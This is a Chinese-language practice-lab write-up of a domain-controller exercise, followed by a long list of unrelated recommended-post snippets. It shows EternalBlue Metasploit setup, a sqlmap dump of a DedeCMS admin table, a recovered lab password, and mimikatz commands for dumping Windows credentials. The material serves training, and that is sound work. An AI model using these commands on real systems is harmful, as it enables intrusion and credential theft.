双层小牛堡
双层小牛堡

云尘靶场-铁三域控

第一次

通过链接 然后fscan扫描c段

云尘靶场-铁三域控_第1张图片

扫描出来三个ip存活 并且141存在永恒之蓝

我们看看能不能直接复现

按照原本的设置发现 提示这里需要通过32位来进行

那我们开始设置

利用MS17-010渗透win7（32位）_利用ms17-010渗透win7(32位)-CSDN博客

https://github.com/1stPeak/Eternalblue-Doublepulsar-Metasploit-master

通过上面进行下载

然后修改解压后的文件夹名字为 Eternalblue-Doublepulsar-Metasploit

然后将内容设置在 /root 目录下

进入文件夹

cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb

复制到msf的payload中

然后开始设置32位kali

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

wine cmd.exe

这里就设置完毕了

 然后我们开始利用

use exploit/windows/smb/eternalblue_doublepulsar

set payload

set RHOST ip

set LHOST kali的ip

run

利用失败 不知道

于是我们开始看其他的吧 我们可以发现123 开放了 80端口

云尘靶场-铁三域控_第2张图片

去访问看看

织梦cms 是有洞的云尘靶场-铁三域控_第3张图片

首先不知道登录界面 我们开始扫目录

云尘靶场-铁三域控_第4张图片

这里sql文件我们去访问

SQL注入

云尘靶场-铁三域控_第5张图片

发现存在查询 很明显的注入

云尘靶场-铁三域控_第6张图片

然后访问即可

云尘靶场-铁三域控_第7张图片

 获取了flag2 但是flag1 去哪里了

我们继续看

看了别人的poc

云尘靶场-铁三域控_第8张图片

都是在这种目录下 我们去访问一下dede

云尘靶场-铁三域控_第9张图片

试试看弱口令云尘靶场-铁三域控_第10张图片

 这里还有一个 就是sql注入查看

-u http://172.25.0.123/sql/index.php?id=2 -D dedecmsv57utf8sp1 -T topsec_admin --dump

云尘靶场-铁三域控_第11张图片

 MD5解密

云尘靶场-铁三域控_第12张图片

云尘靶场-铁三域控_第13张图片

然后我们测试的时候发现存在一个文件上传点
云尘靶场-铁三域控_第14张图片

那我们写个咯

发现并不需要 直接返回上一级就有了

云尘靶场-铁三域控_第15张图片

云尘靶场-铁三域控_第16张图片

这台机子就没东西了 因为没有其他内网了 所以我们还是需要通过永恒之蓝实现。。。。

去安装一下32位复现一下吧。。。。。

32位永恒之蓝（失败）

云尘靶场-铁三域控_第17张图片

每次测试都是这样 所以我都在怀疑是我自己的问题还是环境的问题 于是我去虚拟机创建一个32位的win7测试

云尘靶场-铁三域控_第18张图片

云尘靶场-铁三域控_第19张图片 裂开 自己的环境可以实现。。。。 奇了怪了。。。

多半是环境的问题了。。。。

看了下面师傅们的评论

发现

检测也不行。。。

看wp咯

发现永恒之蓝不行了 但是我们sql的时候存在一个账号密码

有点类似win的账号密码 我们去看看

[16:48:24] [INFO] retrieved: administrator
[16:48:24] [INFO] retrieved: topsec.123

云尘靶场-铁三域控_第20张图片

上了上了！！！！！

然后就G了没金币了 明天再来吧

第二次

第二次打开靶场开始链接 ok上不去了！！！！

云尘靶场-铁三域控_第21张图片

是我的问题吗。。。。。

然后发现

云尘靶场-铁三域控_第22张图片

其他用户 输入 administrator topsec.123就进去了。。。

云尘靶场-铁三域控_第23张图片

云尘靶场-铁三域控_第24张图片

发现了其他的域 那我们肯定就是要去看这个了

首先fscan上去扫一下咯

如何传文件搜一下就行了 会打开共享 然后就可以了

然后我们去扫描一下 上传32位的fscan

云尘靶场-铁三域控_第25张图片

确实发现了就这两个电脑 我们要如何远控呢

这里看了桌面存在一个win32 我们进去看看

云尘靶场-铁三域控_第26张图片

这个在vol见过 可以直接获取windows密码

我们使用看看

mimikatz # log
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

 但是最后我获取不到password 我也不知道为什么了

第二次靶场也结束了明天看看吧

第三次

实在解不出来

看了wp 获取了密码

不知道为什么 我的ssp 不存在

原本还想通过永恒之蓝 但是无法实现（太菜了）

云尘靶场-铁三域控_第27张图片

获取了flag

不是很难 但是复现的问题很多 自己也不知道怎么实现

你可能感兴趣的:(渗透,渗透)

  • 网络安全（黑客）——自学2024 小言同学喜欢挖漏洞 web安全安全网络学习网络安全信息安全渗透测试
    01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一
  • 黑客（网络安全）技术自学30天 一个迷人的黑客 web安全安全网络笔记网络安全信息安全渗透测试
    01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一
  • 自学黑客（网络安全）技术——2024最新 九九归二 web安全安全学习笔记网络网络安全信息安全
    01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一
  • 网络安全（黑客技术）—自学 德西德西 web安全安全网络安全学习python开发语言php
    1.网络安全是什么网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。2.网络安全市场一、是市场需求量高；二、则是发展相对成熟入门比较容易。3.所需要的技术水平需要掌握的知识点偏多（举例）：4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国家安全更有为国效力的正义黑客—红客联盟可见其重视
  • 网络安全（黑客技术）—2024自学 德西德西 开发语言php安全web安全网络安全python网络
    1.网络安全是什么网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。2.网络安全市场一、是市场需求量高；二、则是发展相对成熟入门比较容易。3.所需要的技术水平需要掌握的知识点偏多（举例）：4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国家安全更有为国效力的正义黑客—红客联盟可见其重视
  • 网络安全（黑客）—2024自学笔记 羊村最强沸羊羊 web安全笔记安全网络安全网络python开发语言
    前言一、什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。二、怎样规划网络安全如果你
  • 2021-11-28 古栈小镇
    打造高效课堂应该充分理解教材，精心准备课堂。同时要引导学生构建完整的知识网络。高效课堂的十个特征：①目标明确。②重难点突出。③师生互动。④讲练结合。⑤五官并用。⑥激情课堂。⑦学习气氛浓厚。学生思考积极，发言大胆，思考量大，思维含金量高。⑧师生相互鼓励与信任。⑨知识规律总结、反馈、迁移、延伸和应用。⑩情感教育，德育渗透，能力提高，学科素养提升。因此打造高效课堂应做好以下几个方面：（1）精心备课是高效
  • 麦吉丽微商保证金退吗？加盟有什么好处？ 麦吉丽小芹
    加盟麦吉丽：门槛并不高，只要大家有一定的资金都可以加入，芹大总代vx:18688885511不过，后续是否能赚钱，就要看大家是否具备较强的风险意识和财务管理能力了。微商货源小编在这里提醒大家，任何投资都是有风险的，大家一定要先做好各项预算，接下来咱们就一起来看看这方面的信息。一、保证金退吗?麦吉丽的每一款产品都是爱与美的神秘力量的恩赐，具有全息渗透的高吸收性，尤其不含化学乳化剂，令产品天然、安全。
  • 网络安全（黑客）—2024自学 德西德西 web安全python网络安全网络安全开发语言php
    1.网络安全是什么网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。2.网络安全市场一、是市场需求量高；二、则是发展相对成熟入门比较容易。3.所需要的技术水平需要掌握的知识点偏多（举例）：4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国家安全更有为国效力的正义黑客—红客联盟可见其重视
  • 网络安全（黑客）0基础到精通，看这一篇就够了！ 羊村最强沸羊羊 web安全安全网络安全php网络python开发语言
    前言一、什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。二、怎样规划网络安全如果你
  • 2024网络安全-自学笔记 羊村最强沸羊羊 web安全安全网络安全开发语言phppython网络
    前言一、什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。二、怎样规划网络安全如果你
  • 在渗透领域，一个非常厉害的 Python 库 qq_30895747 python模块python开发语言
    在信息安全领域，PythonFsociety库是一个备受欢迎的工具，它提供了许多用于渗透测试、网络攻击和安全研究的功能。本文将深入探讨Fsociety库的功能、用法以及实际应用，以帮助大家更好地了解如何使用它来增强网络安全。什么是PythonFsociety库？Fsociety是一个Python库，专门设计用于进行渗透测试、网络攻击和信息安全研究。它提供了各种工具和功能，以帮助安全专业人员测试网络
  • 网络安全（黑客技术）—0基础自学 羊村最强沸羊羊 网络安全web安全开发语言安全phppython网络
    前言一、什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。二、怎样规划网络安全如果你
  • 成年人的孤独就是悲喜自渡 梁舒蓝
    成年人的孤独就是悲喜自渡“人生的本质，就是一个人活着不要对别人心存太多期待。我们总是想要找到能为自己分担痛苦和悲伤的人，可大多数时候，我们那些惊天动地的伤痛，在别人眼里，不过是随手拂过的尘埃。或许成年人的孤独，就是悲喜自渡。孤独之后是成长人的内心苦楚，无法言说，人的很多举措，无可奈何，我们累，却无从止歇，我们苦，却无法回避，在坎坷中奔跑，在挫折里涅槃，忧愁缠满全身，痛苦漂洒一地，百年一渗透，百年一
  • 中国收藏家协会会长闫振堂为海之龙酒题词 1738f5a18829
    近日，中国酒文化研究委员会秘书长、世界华人书画家协会副秘书长、香港华人杂志社新闻部副主任、海之龙酒业有限公司董事长黄曙光一行应邀到北京拜访闫振堂受到闫振堂老师的热情接待。在交流中闫振堂说到收藏的内在价值，收藏就是人类有目的的系统收集、整理、研究、鉴赏、弘扬人类社会创造和自然界存在的、带有物质文化和精神文化的一种行为；就像海之龙酒一样从古至今，龙已渗透了中国社会的各个方面，成为一种文化的凝聚和积淀。
  • 如何管理好自己的情绪，做一个不发火的家长？ 心理咨询师余两全
    情绪渗透在我们日常生活中的点点滴滴。在教育孩子的过程当中，很多家长遇到的最大问题就是情绪管理问题。特别是高中学生由于身心发展的特点，对情绪的感受更加强烈，而且情绪容易不稳定。【深圳优眠心理咨询中心】如果处理不当，就会有冲动性和爆发性。情绪管理是做父母的必修课每人都会有高兴、愤怒、悲伤、欢乐、惊愕、恐惧、嫉妒等情绪。有所不同的是每个人对于情绪的表达方式都不同，有的可以控制情绪，有的则被情绪控制。生活
  • 2024年AI辅助研发趋势：数智时代革新新引擎 液态不合群 人工智能
    随着科技的飞速发展，人工智能（AI）已经渗透到我们生活的方方面面，而在软件开发领域，AI辅助研发正成为一股不可忽视的力量。本文将探讨2024年AI辅助研发的趋势，以及它如何成为数智时代革新的新引擎。AI辅助研发的崛起随着科技的飞速发展，人工智能（AI）已逐渐渗透到各个行业领域，其中，AI辅助研发在软件开发中扮演了至关重要的角色。在过去的几年里，AI辅助研发已经取得了令人瞩目的成就，其影响力逐渐扩大
  • 困在消费贷里的年轻人？消费贷真是年轻人内卷的罪魁祸首吗？ 慕容随风
    根据《中国新闻周刊》的报道，如果说70后、80后的压力来自房贷和车贷，90后乃至00后年轻人背负的则是消费贷。“消费对中国经济增长的作用越来越凸显。目前90后、00后约占总人口的24％，他们将主导未来5~10年中国乃至全球的消费格局”。尼尔森于2019年发布的《中国年轻人负债状况报告》提到，在18~29岁的年轻人中，信贷产品的渗透率为86.6％，其中占比最高的是消费类信贷。另据央行发布的数据，截至
  • AI辅助研发的技术进展 达西西66 人工智能
    AI辅助研发的技术进展引言随着人工智能（AI）技术的迅速发展，它正在逐渐渗透到各个领域。在软件研发领域，AI也被广泛应用于辅助研发工作。本文将介绍AI辅助研发的相关技术进展，包括代码自动生成、缺陷修复、测试优化和项目管理等方面。一、代码自动生成代码自动生成是指利用AI技术来辅助开发人员自动生成源代码。目前，有许多基于AI的代码自动生成工具已经出现，并且取得了一定的成果。这些工具可以根据需求和规范生
  • AI 改变生活 一个前端小朋友 人工智能
    2024年AI辅助研发趋势随着人工智能技术的持续发展与突破，2024年AI辅助研发正成为科技界和工业界瞩目的焦点。从医药研发到汽车设计，从软件开发到材料科学，AI正逐渐渗透到研发的各个环节，变革着传统的研发模式。在这一背景下，AI辅助研发不仅提升了研发效率，降低了成本，更在某种程度上解决了复杂问题，推动了科技进步。2024年，随着AI技术的进一步成熟，AI辅助研发的趋势将更加明显，其潜力也将得到更
  • 信息抽取技术：电商领域的智能化革命与市场策略优化 思通数科x 运维大数据
    一、引言在当今快速发展的互联网电商领域，信息抽取技术的应用已经成为商家优化供应链、降低成本、提高响应速度的关键手段。随着消费者需求的日益多样化和个性化，电子商务平台需要更高效、智能的数据处理能力来应对市场的挑战。从供应商管理到库存优化，再到物流协调，信息抽取技术正逐步渗透到电商运营的每一个环节。本文将探讨信息抽取技术如何帮助电商企业在激烈的市场竞争中保持领先地位，实现供应链的透明化、自动化和智能化
  • 网络安全（黑客）—2024自学 羊村最强沸羊羊 网络安全php网络web安全安全python开发语言
    1.网络安全是什么网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。2.网络安全市场一、是市场需求量高；二、则是发展相对成熟入门比较容易。3.所需要的技术水平需要掌握的知识点偏多（举例）：4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国家安全更有为国效力的正义黑客—红客联盟可见其重视
  • 网络安全（黑客）—2024自学 德西德西 web安全网络安全开发语言安全phppython网络
    1.网络安全是什么网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。2.网络安全市场一、是市场需求量高；二、则是发展相对成熟入门比较容易。3.所需要的技术水平需要掌握的知识点偏多（举例）：4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国家安全更有为国效力的正义黑客—红客联盟可见其重视
  • 网络安全（黑客）—2024自学 羊村最强沸羊羊 网络安全php开发语言web安全python网络安全
    1.网络安全是什么网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。2.网络安全市场一、是市场需求量高；二、则是发展相对成熟入门比较容易。3.所需要的技术水平需要掌握的知识点偏多（举例）：4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国家安全更有为国效力的正义黑客—红客联盟可见其重视
  • 网络安全（黑客）—2024自学 羊村最强沸羊羊 网络安全web安全开发语言安全phppython网络
    1.网络安全是什么网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。2.网络安全市场一、是市场需求量高；二、则是发展相对成熟入门比较容易。3.所需要的技术水平需要掌握的知识点偏多（举例）：4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国家安全更有为国效力的正义黑客—红客联盟可见其重视
  • 网络安全（黑客）—2024自学 德西德西 web安全安全开发语言php网络安全python网络
    1.网络安全是什么网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。2.网络安全市场一、是市场需求量高；二、则是发展相对成熟入门比较容易。3.所需要的技术水平需要掌握的知识点偏多（举例）：4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国家安全更有为国效力的正义黑客—红客联盟可见其重视
  • AI技术在室内定位的应用 深圳市极光通信科技有限公司 人工智能物联网智能硬件
    随着科技的不断发展，人工智能（AI）技术已经逐渐渗透到我们生活的方方面面。其中，AI技术在室内定位领域的应用越来越广泛，为我们的生活和工作带来了诸多便利。本文将深入探讨AI技术在室内定位领域的应用，并分析其优缺点及未来发展趋势。一、AI技术在室内定位领域1.1蓝牙信标的应用蓝牙信标（BluetoothBeacons）蓝牙信标是一种基于蓝牙技术的定位方法。通过在室内布置信标节点，用户携带的移动设备可
  • 忙碌生活下的技术适应力：应对新应用学习带来的困扰与挑战 神气仙人 科技未来生活心理
    在当今信息时代，各类应用程序（APP）渗透到我们生活的方方面面，无论是工作效率提升，还是日常生活便利，都离不开它们的支持。然而，对于在快节奏工作中疲于奔命的现代人来说，当因为生活所需不得不去学习一款新的APP时，往往会感到烦躁不安，这种情绪反应折射出的是现代人在高效生活与技术适应能力之间的张力。本文将就此现象进行深入探讨。首先，我们要理解这种烦躁情绪的根源。一方面，繁忙的工作占据了大部分精力和时间
  • 读《十日谈》有感 柠檬味儿的甜七七儿
    “在一个个打趣逗笑或男欢女爱的故事中，没有忘记捕捉反应人类智慧的闪光点，正因如此，《十日谈》被评论家誉为‘人类智慧的史诗’，尤其是那种急中生智的敏捷反应更是受到了作者的极力推崇和大肆渲染。”《十日谈》封面通过做笔记，今天我了解了《十日谈》的内涵及意义。在这一百个故事中，字里行间所渗透出来的不免是对残暴的人的批判，对善良的人的崇敬。揭露教会、僧侣的腐败和虚伪。还有很多一部分故事提倡人性、人道，反对禁
  • 网络安全（黑客）—2024自学 羊村最强沸羊羊 web安全网络安全安全网络python开发语言php
    1.网络安全是什么网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。2.网络安全市场一、是市场需求量高；二、则是发展相对成熟入门比较容易。3.所需要的技术水平需要掌握的知识点偏多（举例）：4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国家安全更有为国效力的正义黑客—红客联盟可见其重视
  • Enum 枚举 120153216 enum枚举
    原文地址：http://www.cnblogs.com/Kavlez/p/4268601.html Enumeration 于Java 1.5增加的enum type...enum type是由一组固定的常量组成的类型，比如四个季节、扑克花色。在出现enum type之前，通常用一组int常量表示枚举类型。比如这样： public static final int APPLE_FUJI = 0
  • Java8简明教程 bijian1013 javajdk1.8
            Java 8已于2014年3月18日正式发布了，新版本带来了诸多改进，包括Lambda表达式、Streams、日期时间API等等。本文就带你领略Java 8的全新特性。  一.允许在接口中有默认方法实现         Java 8 允许我们使用default关键字，为接口声明添
  • Oracle表维护 快速备份删除数据 cuisuqiang oracle索引快速备份删除
    我知道oracle表分区，不过那是数据库设计阶段的事情，目前是远水解不了近渴。 当前的数据库表，要求保留一个月数据，且表存在大量录入更新，不存在程序删除。 为了解决频繁查询和更新的瓶颈，我在oracle内根据需要创建了索引。但是随着数据量的增加，一个半月数据就要超千万，此时就算有索引，对高并发的查询和更新来说，让然有所拖累。 为了解决这个问题，我一般一个月会进行一次数据库维护，主要工作就是备
  • java多态内存分析 麦田的设计者 java内存分析多态原理接口和抽象类
          “  时针如果可以回头，熟悉那张脸，重温嬉戏这乐园，墙壁的松脱涂鸦已经褪色才明白存在的价值归于记忆。街角小店尚存在吗？这大时代会不会牵挂，过去现在花开怎么会等待。       但有种意外不管痛不痛都有伤害，光阴远远离开，那笑声徘徊与脑海。但这一秒可笑不再可爱，当天心
  • Xshell实现Windows上传文件到Linux主机 被触发 windows
    经常有这样的需求，我们在Windows下载的软件包，如何上传到远程Linux主机上？还有如何从Linux主机下载软件包到Windows下；之前我的做法现在看来好笨好繁琐，不过也达到了目的，笨人有本方法嘛； 我是怎么操作的： 1、打开一台本地Linux虚拟机，使用mount 挂载Windows的共享文件夹到Linux上，然后拷贝数据到Linux虚拟机里面；（经常第一步都不顺利，无法挂载Windo
  • 类的加载ClassLoader 肆无忌惮_ ClassLoader
    类加载器ClassLoader是用来将java的类加载到虚拟机中，类加载器负责读取class字节文件到内存中，并将它转为Class的对象（类对象），通过此实例的 newInstance()方法就可以创建出该类的一个对象。   其中重要的方法为findClass(String name)。   如何写一个自己的类加载器呢？ 首先写一个便于测试的类Student
  • html5写的玫瑰花 知了ing html5
    <html> <head> <title>I Love You!</title> <meta charset="utf-8" /> </head> <body> <canvas id="c"></canvas>
  • google的ConcurrentLinkedHashmap源代码解析 矮蛋蛋 LRU
    原文地址： http://janeky.iteye.com/blog/1534352 简述 ConcurrentLinkedHashMap 是google团队提供的一个容器。它有什么用呢？其实它本身是对 ConcurrentHashMap的封装，可以用来实现一个基于LRU策略的缓存。详细介绍可以参见 http://code.google.com/p/concurrentlinke
  • webservice获取访问服务的ip地址 alleni123 webservice
    1. 首先注入javax.xml.ws.WebServiceContext, @Resource private WebServiceContext context; 2. 在方法中获取交换请求的对象。 javax.xml.ws.handler.MessageContext mc=context.getMessageContext(); com.sun.net.http
  • 菜鸟的java基础提升之道——————>是否值得拥有 百合不是茶
    1，c++，java是面向对象编程的语言，将万事万物都看成是对象；java做一件事情关注的是人物，java是c++继承过来的，java没有直接更改地址的权限但是可以通过引用来传值操作地址，java也没有c++中繁琐的操作，java以其优越的可移植型，平台的安全型，高效性赢得了广泛的认同，全世界越来越多的人去学习java，我也是其中的一员      java组成：
  • 通过修改Linux服务自动启动指定应用程序 bijian1013 linux
    Linux中修改系统服务的命令是chkconfig (check config)，命令的详细解释如下: chkconfig 功能说明：检查，设置系统的各种服务。 语　　法：chkconfig [ -- add][ -- del][ -- list][系统服务] 或 chkconfig [ -- level  <</SPAN>
  • spring拦截器的一个简单实例 bijian1013 javaspring拦截器Interceptor
    Purview接口 package aop; public interface Purview { void checkLogin(); } Purview接口的实现类PurviesImpl.java package aop; public class PurviewImpl implements Purview { public void check
  • [Velocity二]自定义Velocity指令 bit1129 velocity
    什么是Velocity指令 在Velocity中，#set,#if, #foreach, #elseif, #parse等，以#开头的称之为指令，Velocity内置的这些指令可以用来做赋值，条件判断，循环控制等脚本语言必备的逻辑控制等语句，Velocity的指令是可扩展的，即用户可以根据实际的需要自定义Velocity指令   自定义指令(Directive)的一般步骤 &nbs
  • 【Hive十】Programming Hive学习笔记 bit1129 programming
    第二章 Getting Started 1.Hive最大的局限性是什么？一是不支持行级别的增删改(insert, delete, update)二是查询性能非常差(基于Hadoop MapReduce）,不适合延迟小的交互式任务三是不支持事务2. Hive MetaStore是干什么的？Hive persists table schemas and other system metadata.
  • nginx有选择性进行限制 ronin47 nginx 动静　限制
    http { limit_conn_zone $binary_remote_addr zone=addr:10m; limit_req_zone $binary_remote_addr zone=one:10m rate=5r/s;... server {... location ~.*\.(gif|png|css|js|icon)$ {
  • java-4.-在二元树中找出和为某一值的所有路径 . bylijinnan java
    /* * 0.use a TwoWayLinkedList to store the path.when the node can't be path,you should/can delete it. * 1.curSum==exceptedSum:if the lastNode is TreeNode,printPath();delete the node otherwise
  • Netty学习笔记 bylijinnan javanetty
    本文是阅读以下两篇文章时： http://seeallhearall.blogspot.com/2012/05/netty-tutorial-part-1-introduction-to.html http://seeallhearall.blogspot.com/2012/06/netty-tutorial-part-15-on-channel.html 我的一些笔记 ===
  • js获取项目路径 cngolon js
    //js获取项目根路径，如： http://localhost:8083/uimcardprj function getRootPath(){     //获取当前网址，如： http://localhost:8083/uimcardprj/share/meun.jsp     var curWwwPath=window.document.locati
  • oracle 的性能优化 cuishikuan oracleSQL Server
       在网上搜索了一些Oracle性能优化的文章，为了更加深层次的巩固[边写边记]，也为了可以随时查看，所以发表这篇文章。     1.ORACLE采用自下而上的顺序解析WHERE子句，根据这个原理，表之间的连接必须写在其他WHERE条件之前，那些可以过滤掉最大数量记录的条件必须写在WHERE子句的末尾。（这点本人曾经做过实例验证过，的确如此哦！
  • Shell变量和数组使用详解 daizj linuxshell变量数组
    Shell 变量 定义变量时，变量名不加美元符号（$，PHP语言中变量需要），如： your_name="w3cschool.cc" 注意，变量名和等号之间不能有空格，这可能和你熟悉的所有编程语言都不一样。同时，变量名的命名须遵循如下规则： 首个字符必须为字母（a-z，A-Z）。 中间不能有空格，可以使用下划线（_）。 不能使用标点符号。 不能使用ba
  • 编程中的一些概念，KISS、DRY、MVC、OOP、REST dcj3sjt126com REST
    KISS、DRY、MVC、OOP、REST （1）KISS是指Keep It Simple,Stupid（摘自wikipedia），指设计时要坚持简约原则，避免不必要的复杂化。 （2）DRY是指Don't Repeat Yourself（摘自wikipedia），特指在程序设计以及计算中避免重复代码，因为这样会降低灵活性、简洁性，并且可能导致代码之间的矛盾。 （3）OOP 即Object-Orie
  • [Android]设置Activity为全屏显示的两种方法 dcj3sjt126com Activity
    1. 方法1：AndroidManifest.xml 里，Activity的 android:theme  指定为" @android:style/Theme.NoTitleBar.Fullscreen" 示例:   <application      
  • solrcloud 部署方式比较 eksliang solrCloud
    solrcloud 的部署其实有两种方式可选，那么我们在实践开发中应该怎样选择呢？ 第一种：当启动solr服务器时，内嵌的启动一个Zookeeper服务器，然后将这些内嵌的Zookeeper服务器组成一个集群。  第二种：将Zookeeper服务器独立的配置一个集群，然后将solr交给Zookeeper进行管理   谈谈第一种：每启动一个solr服务器就内嵌的启动一个Zoo
  • Java synchronized关键字详解 gqdy365 synchronized
    转载自：http://www.cnblogs.com/mengdd/archive/2013/02/16/2913806.html 多线程的同步机制对资源进行加锁，使得在同一个时间，只有一个线程可以进行操作，同步用以解决多个线程同时访问时可能出现的问题。 同步机制可以使用synchronized关键字实现。 当synchronized关键字修饰一个方法的时候，该方法叫做同步方法。 当s
  • js实现登录时记住用户名 hw1287789687 记住我记住密码cookie记住用户名记住账号
    在页面中如何获取cookie值呢? 如果是JSP的话,可以通过servlet的对象request 获取cookie,可以 参考:http://hw1287789687.iteye.com/blog/2050040 如果要求登录页面是html呢?html页面中如何获取cookie呢? 直接上代码了 页面:loginInput.html 代码: <!DOCTYPE html PUB
  • 开发者必备的 Chrome 扩展 justjavac chrome
    Firebug：不用多介绍了吧https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench ChromeSnifferPlus：Chrome 探测器，可以探测正在使用的开源软件或者 js 类库https://chrome.google.com/webstore/detail/chrome-sniffer-pl
  • 算法机试题 李亚飞 java算法机试题
           在面试机试时，遇到一个算法题，当时没能写出来，最后是同学帮忙解决的。        这道题大致意思是：输入一个数，比如4,。这时会输出：           &n
  • 正确配置Linux系统ulimit值 字符串 ulimit
    在Linux下面部 署应用的时候，有时候会遇上Socket/File: Can’t open so many files的问题；这个值也会影响服务器的最大并发数，其实Linux是有文件句柄限制的，而且Linux默认不是很高，一般都是1024，生产服务器用 其实很容易就达到这个数量。下面说的是，如何通过正解配置来改正这个系统默认值。因为这个问题是我配置Nginx+php5时遇到了，所以我将这篇归纳进
  • hibernate调用返回游标的存储过程 Supanccy2013 javaDAOoracleHibernatejdbc
    注：原创作品，转载请注明出处。     上篇博文介绍的是hibernate调用返回单值的存储过程，本片博文说的是hibernate调用返回游标的存储过程。     此此扁博文的存储过程的功能相当于是jdbc调用select 的作用。 1，创建oracle中的包，并在该包中创建的游标类型。 ---创建oracle的程
  • Spring 4.2新特性-更简单的Application Event wiselyman application
    1.1 Application Event Spring 4.1的写法请参考10点睛Spring4.1-Application Event 请对比10点睛Spring4.1-Application Event 使用一个@EventListener取代了实现ApplicationListener接口,使耦合度降低; 1.2 示例 包依赖 <p
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他